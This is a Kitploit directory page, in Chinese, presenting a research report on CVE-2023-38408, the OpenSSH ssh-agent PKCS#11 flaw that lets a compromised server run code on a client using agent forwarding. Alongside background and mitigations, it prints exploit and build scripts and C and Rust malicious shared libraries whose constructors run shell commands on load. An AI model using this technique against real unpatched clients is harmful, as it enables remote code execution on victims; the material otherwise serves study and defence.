Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2023-38408 — 对 CVE-2023-38408(一个严重的 OpenSSH 漏洞)的深入分析,包括技术背景、受控环境中的利用以及缓解策略。 | Kitploit
工具/GitHubGitHub/adel2411/cve-2023-38408
漏洞分析漏洞利用渗透测试论文与研究学习与教育红队
GitHubadel2411/cve-2023-38408

cve-2023-38408

对 CVE-2023-38408(一个严重的 OpenSSH 漏洞)的深入分析,包括技术背景、受控环境中的利用以及缓解策略。

查看仓库
51年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-38408:理解与模拟真实世界的SSH-Agent漏洞

目录

  1. 引言
  2. 背景概念
  3. CVE-2023-38408漏洞
  4. 实际模拟与测试
  5. 技术分析
  6. 修复与缓解措施
  7. 结论

1. 引言

报告目的

本报告旨在通过理论理解与实际模拟,分析CVE-2023-38408——一个在OpenSSH中发现的关键真实世界漏洞。报告阐述了该漏洞的技术基础,演示了如何在受控环境中加以利用,并考察了已实施的缓解措施。

分析真实世界漏洞的重要性

通过动手模拟理解真实世界安全漏洞,不仅有助于保护系统,还能增强开发者和系统管理员对潜在攻击向量的认识。分析此类漏洞弥合了理论与实际安全实施之间的鸿沟。

什么是CVE-2023-38408及其重要性

CVE-2023-38408是一个影响OpenSSH中ssh-agent的漏洞(当PKCS#11支持启用时)。如果用户使用代理转发功能(ssh -A)连接到被攻陷的服务器,该漏洞允许在客户端机器上执行远程代码。此漏洞对任何依赖OpenSSH进行安全认证的系统都构成严重威胁。


2. 背景概念

2.1 SSH 概述

SSH(安全外壳协议)是一种加密网络协议,用于在不安全的网络上进行安全通信。它为远程登录、命令执行、文件传输等提供加密通道。```mermaid graph LR A[SSH Client] -->|Encrypted Connection| B[SSH Server] A -->|Authentication| C[ssh-agent] C -->|Private Keys| D[Key Store] B -->|Agent Forwarding| E[Remote ssh-agent Proxy]

root@kitploit:~
### 2.2 什么是 ssh-agent

`ssh-agent` 是一个后台进程,它将你解密后的私有 SSH 密钥存储在内存中,让你无需在每次连接到远程系统时都重新输入密码。

#### 代理转发(ssh -A)

代理转发允许远程系统通过 Unix 域套接字访问本地的 `ssh-agent`。这对于链式 SSH 连接很有用,但如果远程机器被攻破,则会引入重大的安全风险。```mermaid
sequenceDiagram
    participant Client as SSH Client
    participant Agent as ssh-agent
    participant Server as Remote Server
    participant Proxy as Agent Proxy

    Client->>Agent: Start agent
    Client->>Server: ssh -A user@server
    Server->>Proxy: Create proxy socket
    Note over Server,Proxy: SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx
    Server->>Proxy: ssh-add request
    Proxy->>Client: Forward request
    Client->>Agent: Process request
    Agent->>Client: Response
    Client->>Proxy: Forward response
    Proxy->>Server: Final response

技术上讲,当你使用 ssh -A 时,SSH 客户端会在远程服务器上创建一个 Unix 域套接字,作为你本地 ssh-agent 的代理。环境变量 SSH_AUTH_SOCK 被设置为指向这个代理套接字。对远程服务器上 SSH_AUTH_SOCK 的任何调用都会通过 SSH 连接转发回来,并由你的本地 ssh-agent 处理。

2.3 什么是 PKCS#11

PKCS#11 是一种与加密令牌(如智能卡、YubiKey 或虚拟硬件安全模块 HSM)交互的标准 API。

ssh-agent 如何支持 PKCS#11

OpenSSH 的 ssh-agent 支持通过命令 ssh-add -s /path/to/provider.so 加载 PKCS#11 提供者(共享 .so 库)。这些库允许代理与安全硬件或软件模块交互,从而使用私钥而不直接暴露它们。

在底层,当调用 ssh-add -s 时,它会执行以下操作:

  • 使用 dlopen() 将 .so 文件动态加载到内存中。
  • 代理通过 PKCS#11 API 解析并调用 C_Initialize()、C_GetSlotList()、C_FindObjects() 和 C_Sign() 等函数。
  • 提供者返回元数据并处理请求以签名认证挑战,将私钥材料安全地保留在硬件令牌内。

3. CVE-2023-38408 漏洞

3.1 CVE 摘要

3.2 漏洞机制

该漏洞源于 ssh-agent 会加载通过 ssh-add -s 提供的任何共享对象文件(.so),而不会验证其是否为合法的 PKCS#11 提供者。```mermaid graph TD A[Attacker sends ssh-add -s malicious.so] --> B[Request forwarded to victim's ssh-agent] B --> C[ssh-agent calls dlopen on malicious.so] C --> D[Constructor function executes immediately] D --> E[Arbitrary code runs on victim machine]

root@kitploit:~
### 3.3 攻击流分析```mermaid
sequenceDiagram
    participant V as Victim
    participant A as Attacker
    participant Agent as ssh-agent
    participant Lib as Malicious .so

    V->>A: ssh -A attacker@host
    Note over V,A: Agent forwarding enabled
    A->>Agent: ssh-add -s /path/to/malicious.so
    Agent->>Lib: dlopen("/path/to/malicious.so")
    Note over Lib: Constructor executes
    Lib->>V: Malicious code runs
    Note over V: System compromised

在最低层级,事件序列包括:

  1. 远程系统向转发的代理发送请求,要求其执行 ssh-add -s /path/to/lib.so
  2. 本地 ssh-agent 接收此请求,并盲目调用 dlopen("/path/to/lib.so", RTLD_NOW)
  3. 如果 .so 文件包含构造函数(__attribute__((constructor))),该函数会在加载时立即执行
  4. 此构造函数可以包含任意恶意代码,在客户端机器上运行

3.4 真实攻击场景


4. 实际模拟与测试

4.1 模拟环境搭建

为在受控环境中演示此漏洞,我们使用多个用户账户和终端进行了全面的模拟。

环境配置

用户账户创建```bash

As main user

sudo adduser victim sudo adduser attacker

root@kitploit:~
#### 用于代理转发的SSH密钥设置```bash
# As victim user
ssh-keygen -t rsa -f ~/.ssh/id_rsa -N ""
ssh-copy-id attacker@localhost

4.2 模拟脚本与实现

受害者连接脚本(new-connection.sh)```bash

#!/bin/bash

Kill any existing agent

eval $(ssh-agent -k) > /dev/null 2>&1

Start a new agent and add key

eval $(ssh-agent -s) ssh-add ~/.ssh/id_rsa

Connect to attacker with agent forwarding

ssh -A attacker@localhost

root@kitploit:~
#### 攻击者载荷构建器(`build-evil.sh`)```bash
#!/bin/bash
set -e

C_SRC="evil.c"
RUST_DIR="rust_evil"
OUTPUT_PATH="/usr/lib/x86_64-linux-gnu/pkcs11/evil.so"

function build_c() {
  sudo gcc -fPIC -shared -o "$OUTPUT_PATH" "$C_SRC"
  echo "C payload built at $OUTPUT_PATH"
}

function build_rust() {
  cd "$RUST_DIR"
  cargo build --release
  cd -
  SO_FILE=$(find "$RUST_DIR/target/release" -name "lib*.so" | head -n 1)
  sudo cp "$SO_FILE" "$OUTPUT_PATH"
  rm -rf "$RUST_DIR/target"
  echo "Rust payload built at $OUTPUT_PATH"
}

case "$1" in
  --c) build_c ;;
  --rust) build_rust ;;
  *) echo "Usage: $0 --c | --rust" && exit 1 ;;
esac

漏洞利用脚本 (exploit.sh)```bash

#!/bin/bash

Use forwarded agent

export SSH_AUTH_SOCK=$(echo /tmp/ssh-/agent.)

Trigger the malicious shared object via ssh-agent

ssh-add -s /usr/lib/x86_64-linux-gnu/pkcs11/evil.so

root@kitploit:~
### 4.3 模拟结果与分析

#### 脆弱系统中的预期行为

| **操作**                | **脆弱系统响应**      | **已修补系统响应** |
| ------------------------- | ----------------------------------- | --------------------------- |
| `ssh-add -s malicious.so` | 库加载,构造函数执行 | `agent refused operation`   |
| 有效负载执行         | 创建 `/tmp/exploit.log`          | 无执行                |
| 系统影响             | 远程代码执行               | 无影响                   |

#### 实际模拟输出

在已修补的系统(OpenSSH 9.3p2+)上运行模拟时:```
Enter passphrase for PKCS#11:
Could not add card "/.../evil.so": agent refused operation

关键观察:即使在修补版本中代理拒绝该操作,本模拟演示了攻击向量,并帮助理解漏洞在旧版本中的影响。

4.4 Payload Construction Analysis

C-based Malicious Library```c

// evil.c - Example malicious PKCS#11 library #include <stdlib.h> #include <stdio.h>

attribute((constructor)) void malicious_constructor() { // This executes immediately when dlopen() is called system("echo 'Exploit triggered' > /tmp/exploit.log"); system("touch ~/exploit.txt"); // In a real attack, this could download and execute additional payloads }

// Minimal PKCS#11 function to make it appear legitimate void C_Initialize() { return; }

root@kitploit:~
#### 基于 Rust 的替代方案

使用 `ctor` crate 的构造函数:```rust
// Cargo.toml
[dependencies]
ctor = "0.1"

// lib.rs
use ctor::ctor;
use std::process::Command;

#[ctor]
fn malicious_constructor() {
    Command::new("sh")
        .arg("-c")
        .arg("echo 'Rust exploit triggered' > /tmp/exploit.log")
        .output()
        .expect("Failed to execute command");
}

5. 技术分析

5.1 根本原因分析

该漏洞是由于 OpenSSH 的 ssh-agent 实现中的若干设计决策导致的:

5.2 内存与进程分析```mermaid

graph TB A[ssh-agent process] --> B[dlopen system call] B --> C[Load malicious.so into memory] C --> D[Execute constructor function] D --> E[Arbitrary code execution] D --> F[Spawn child processes] D --> G[File system modifications] D --> H[Network connections]

root@kitploit:~
### 5.3 攻击面映射

| **攻击向量**    | **要求**                  | **影响等级** | **检测难度** |
| --------------- | ------------------------- | ------------ | ------------ |
| 代理转发        | 启用了 `ssh -A`           | 严重         | 低           |
| 恶意 .so 文件   | 文件系统访问              | 严重         | 中           |
| 社会工程        | 用户交互                  | 高           | 高           |
| 供应链          | 受损害的 PKCS#11 提供商    | 严重         | 极高         |

---

## 6. 修复与缓解

### 6.1 OpenSSH 9.3p2 中的修复方式

OpenSSH 9.3p2 通过引入安全默认行为解决了此漏洞:

| **安全措施** | **实现方式**                  | **效果**                        |
| ------------ | ----------------------------- | ------------------------------- |
| 默认禁用     | 默认禁用 PKCS#11 支持         | 减少攻击面                      |
| 显式启用     | 需要 `-O allow-pkcs11` 标志   | 要求用户同意                    |
| 验证         | 增强库验证                    | 防止任意代码执行                |

#### 配置更改```bash
# Old behavior (vulnerable)
ssh-agent  # PKCS#11 enabled by default

# New behavior (secure)
ssh-agent -O allow-pkcs11  # Explicit opt-in required

6.2 实现分析```mermaid

flowchart TD A[ssh-add -s request] --> B{PKCS#11 allowed?} B -->|No| C[Agent refused operation] B -->|Yes| D{Valid PKCS#11 library?} D -->|No| E[Validation failed] D -->|Yes| F[Load library safely]

root@kitploit:~
### 6.3 全面缓解策略

#### 立即行动

| **优先级** | **行动**               | **实施**                                                |
| ---------- | ---------------------- | ------------------------------------------------------- |
| 高         | 升级 OpenSSH            | `apt update && apt upgrade openssh-client openssh-server` |
| 高         | 禁用代理转发            | `ssh -o ForwardAgent=no`                                  |
| 中         | 审计 SSH 配置           | 检查 `/etc/ssh/ssh_config`                              |
| 中         | 监控代理使用情况        | 记录 ssh-agent 活动                                     |

#### 长期安全措施

1. **SSH 配置加固**   ```
   # /etc/ssh/ssh_config
   ForwardAgent no
   HashKnownHosts yes
   VerifyHostKeyDNS yes
  1. 网络分段 ```mermaid graph LR A[Trusted Network] --> B[Jump Host] B --> C[DMZ] C --> D[Production Network]

    Note1[No agent forwarding beyond Jump Host] Note2[Separate credentials for each zone]

    root@kitploit:~
  2. 监控与检测 ```bash

    Monitor ssh-agent processes

    ps aux | grep ssh-agent

    Check for unusual .so loads

    lsof -p $(pgrep ssh-agent) | grep '.so$'

    Monitor SSH_AUTH_SOCK usage

    auditctl -w /tmp -p w -k ssh_agent_monitor

    root@kitploit:~

6.4 最佳实践实施

组织安全策略


7. 结论

7.1 主要发现

CVE-2023-38408 展示了利用 SSH 客户端与代理之间信任关系的关键安全缺陷。通过实际模拟,我们得出了几个关键见解:

  1. 信任边界违反:该漏洞利用了转发代理连接中的隐式信任
  2. 构造函数滥用:通过共享库构造函数执行恶意代码绕过了所有安全控制
  3. 默认不安全:默认启用 PKCS#11 支持造成了不必要的攻击面
  4. 代理转发风险:代理转发的便利性引入了严重的安全隐患

7.2 影响评估

7.3 经验教训

通过实际模拟增强的漏洞分析提供了几个关键教训:

  1. 安全默认设置:安全功能应默认禁用,需要显式激活
  2. 输入验证:所有外部输入,包括库文件,都必须严格验证
  3. 最小权限原则:代理转发应仅限于受信任环境
  4. 纵深防御:多层安全机制可防止单点故障

7.4 未来考虑```mermaid

mindmap root((Security Evolution)) Modern Threats Supply Chain Attacks Zero-Trust Architecture Container Security SSH Security Certificate-based Auth Hardware Security Modules Multi-factor Authentication Organizational Measures Security Training Incident Response Continuous Monitoring

root@kitploit:~
### 7.5 最终建议

基于全面分析与仿真结果:

1. **立即行动**:将所有 OpenSSH 安装升级到 9.3p2 或更高版本
2. **短期措施**:实施严格的代理转发策略与监控
3. **长期规划**:采用零信任网络架构与基于证书的身份验证
4. **持续工作**:维持持续的安全教育与漏洞评估计划

**关键结论**:CVE-2023-38408 有力地提醒我们,诸如代理转发等便利功能若未正确实施,可能成为严重安全漏洞。理论理解与实际仿真的结合,为构建抵御未来类似攻击的稳健防御体系奠定了基础。

通过此次全面分析,安全专业人员能够更深入地理解 SSH 组件间的复杂关系,并实施适当的安全措施,以保护其基础设施免受类似漏洞的威胁。
下载工具
CVE 详情信息
CVE IDCVE-2023-38408
CVSS 评分9.8(严重)
受影响版本OpenSSH < 9.3p2
攻击向量网络
所需权限无
用户交互需要
影响系统完全沦陷
PKCS#11 函数用途风险级别
C_Initialize()初始化库低
C_GetSlotList()列出可用插槽低
C_FindObjects()查找加密对象中
C_Sign()签名数据高
dlopen()加载共享库严重
属性详情
IDCVE-2023-38408
严重性高(CVSS 9.8)
时间线2023 年 7 月披露,在 OpenSSH 9.3p2 中修复
受影响软件支持 PKCS#11 的 OpenSSH 9.3p2 之前版本
攻击复杂度低
攻击向量通过网络利用 SSH 代理转发
步骤操作影响
1用户运行 ssh -A user@attacker-host代理转发已启用
2攻击者准备 malicious.so载荷就绪
3攻击者执行 ssh-add -s /tmp/malicious.so请求发送至受害者的代理
4代理加载恶意库构造函数执行
5恶意代码运行实现远程代码执行
组件配置用途
终端 1victim 用户SSH 客户端(目标)
终端 2attacker 用户SSH 服务器(攻击者)
SSH 密钥RSA 2048 位无需密码的身份验证
测试文件各种 shell 脚本自动化及载荷投递
设计问题描述影响
无限制的 dlopen()对 .so 文件没有验证允许任意代码执行
构造函数执行代码在 PKCS#11 验证之前运行立即沦陷
代理转发信任转发的请求未经身份验证可能远程利用
默认支持 PKCS#11该功能默认启用攻击面扩大
策略领域要求验证方法
SSH 代理使用需要文档化的审批策略合规审计
代理转发禁止转发到不可信主机网络监控
PKCS#11 库已批准供应商的白名单文件完整性监控
版本管理强制使用 OpenSSH 9.3p2+自动漏洞扫描
影响类别严重性描述
保密性严重完全访问用户的加密材料
完整性严重能够修改系统文件和配置
可用性高可能导致系统中断或拒绝服务
身份验证严重SSH 身份验证机制受损